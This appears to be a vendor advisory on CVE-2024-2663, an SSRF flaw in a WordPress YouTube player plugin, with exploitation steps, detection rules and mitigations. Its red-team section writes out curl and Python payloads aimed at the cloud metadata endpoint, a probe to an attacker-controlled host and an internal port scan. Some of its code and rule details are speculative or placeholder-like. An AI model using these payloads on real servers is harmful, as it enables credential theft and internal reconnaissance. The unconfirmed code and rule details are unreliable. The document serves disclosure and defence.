CVE-2024-2663

Executive Summary

CVE-2024-2663 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting the ZD YouTube FLV Player WordPress plugin, versions up to and including 1.2.6. This flaw allows an unauthenticated attacker to make arbitrary HTTP requests from the web server's internal network by manipulating the $_GET['image'] parameter. The vulnerability can be exploited to probe internal services, exfiltrate sensitive data, or potentially modify internal resources, posing a significant risk to cloud and on-premise WordPress deployments.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is no longer maintained, and no official patch has been released. Users are strongly advised to remove or disable the plugin immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: High (A:H)

The high availability impact stems from the potential to crash internal services or trigger resource exhaustion via SSRF amplification attacks.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of the image parameter. The plugin likely uses this parameter to fetch a thumbnail or image from a user-supplied URL. Due to insufficient validation, the server-side code passes the user-controlled URL directly to a function like file_get_contents(), curl_exec(), or wp_remote_get() without proper sanitization.

Attack Flow:

1. An attacker sends a crafted HTTP request to the WordPress site: https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php?image=http://169.254.169.254/latest/meta-data/
2. The server processes the image parameter and makes a request to the internal IP address (e.g., AWS metadata endpoint).
3. The response from the internal service is returned to the attacker, potentially leaking cloud credentials or internal network information.

Key Weakness: The plugin does not validate the URL scheme, host, or port, allowing requests to internal RFC 1918 addresses, loopback interfaces, or cloud metadata endpoints.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code is the only reference. The following is a representative snippet of the flawed logic:

// Vulnerable code (player.php)
$image_url = $_GET['image'];
$image_data = file_get_contents($image_url);
header('Content-Type: image/jpeg');
echo $image_data;

Patched Code (Hypothetical):

// Patched code
$image_url = $_GET['image'];
$allowed_hosts = ['img.youtube.com', 'i.ytimg.com'];
$parsed_url = parse_url($image_url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
    die('Invalid image source');
}
$image_data = wp_remote_get($image_url, ['timeout' => 5]);
if (is_wp_error($image_data)) {
    die('Failed to fetch image');
}
header('Content-Type: image/jpeg');
echo wp_remote_retrieve_body($image_data);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with ZD YouTube FLV Player v1.2.6 installed.
• A listener on an external server to capture exfiltrated data.

Exploit Steps:

1. Identify the vulnerable endpoint: https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php
2. Craft an SSRF payload to probe internal services:

   curl "https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php?image=http://169.254.169.254/latest/meta-data/"
   

3. For blind SSRF, use a collaborator service:

   curl "https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php?image=http://attacker-controlled.com/ssrf-test"
   

4. To scan internal ports, use a timing-based approach:

   for port in 80 443 8080 3306; do
       time curl -s "https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php?image=http://192.168.1.1:$port"
   done
   

Exploit Code (Python):

import requests

target = "https://target.com/wp-content/plugins/zd-youtube-flv-player/player.php"
internal_url = "http://169.254.169.254/latest/meta-data/"

response = requests.get(target, params={"image": internal_url})
print(response.text)

Blue Team (Defensive)

Detection & Response:

1. Monitor web server logs for requests to player.php with suspicious image parameters containing internal IPs (e.g., 10., 172.16., 192.168., 127.0.0.1, 169.254.).
2. Deploy a WAF rule to block requests to player.php where the image parameter contains private IP ranges.
3. Use network segmentation to restrict outbound traffic from the web server to only necessary external services.

Honeypot Setup:

• Deploy a fake internal service on a non-standard port (e.g., http://127.0.0.1:9999) and monitor for connection attempts from the WordPress server.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the WordPress server to internal IP addresses (e.g., 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
• Requests to player.php with image parameter containing file://, gopher://, or dict:// schemes.

File IOCs:

• Modified player.php file with additional logging or backdoor code.
• Presence of unexpected files in /tmp/ or /var/www/html/wp-content/uploads/ with metadata from internal services.

Log IOCs:

• Web server access logs showing repeated requests to player.php with varying image parameters.
• PHP error logs containing warnings about file_get_contents() failures for internal IPs.

Detection Engineering

YARA Rule

rule CVE_2024_2663_SSRF_WordPress {
    meta:
        description = "Detects SSRF exploitation attempts against ZD YouTube FLV Player plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2663"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "player.php" nocase
        $s2 = "image=" nocase
        $s3 = "169.254.169.254" nocase
        $s4 = "10." ascii
        $s5 = "192.168." ascii
        $s6 = "172.16." ascii
        $s7 = "127.0.0.1" ascii
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5 or $s6 or $s7)
}

Sigma Rule

title: CVE-2024-2663 SSRF via ZD YouTube FLV Player
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts targeting internal IPs via the ZD YouTube FLV Player plugin
author: Valters IT
date: 2024/01/01
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "player.php?image="
        cs-uri-query|contains:
            - "169.254.169.254"
            - "10."
            - "192.168."
            - "172.16."
            - "127.0.0.1"
    condition: selection
falsepositives:
    - Legitimate use of internal image URLs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2663 SSRF Attempt - ZD YouTube FLV Player";
    flow:to_server,established;
    content:"player.php"; http_uri;
    content:"image="; http_uri;
    pcre:"/(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.1[6-9]\.\d{1,3}\.\d{1,3}|172\.2[0-9]\.\d{1,3}\.\d{1,3}|172\.3[0-1]\.\d{1,3}\.\d{1,3}|127\.0\.0\.1)/Ri";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the plugin - This is the only definitive fix since no patch exists.
2. Implement a WAF rule to block requests to player.php with internal IPs in the image parameter.
3. Restrict outbound traffic from the web server using a firewall or security group to only allow connections to known external services (e.g., YouTube CDN).

Long-Term Measures:

1. Replace the plugin with an alternative that is actively maintained and does not have SSRF vulnerabilities.
2. Conduct a security audit of all WordPress plugins to identify similar SSRF flaws.
3. Implement network segmentation to isolate the WordPress server from sensitive internal services.

Workaround (if plugin cannot be removed):

• Modify the player.php file to add a whitelist of allowed image hosts (e.g., img.youtube.com, i.ytimg.com).

Valters IT
Securing Digital Frontiers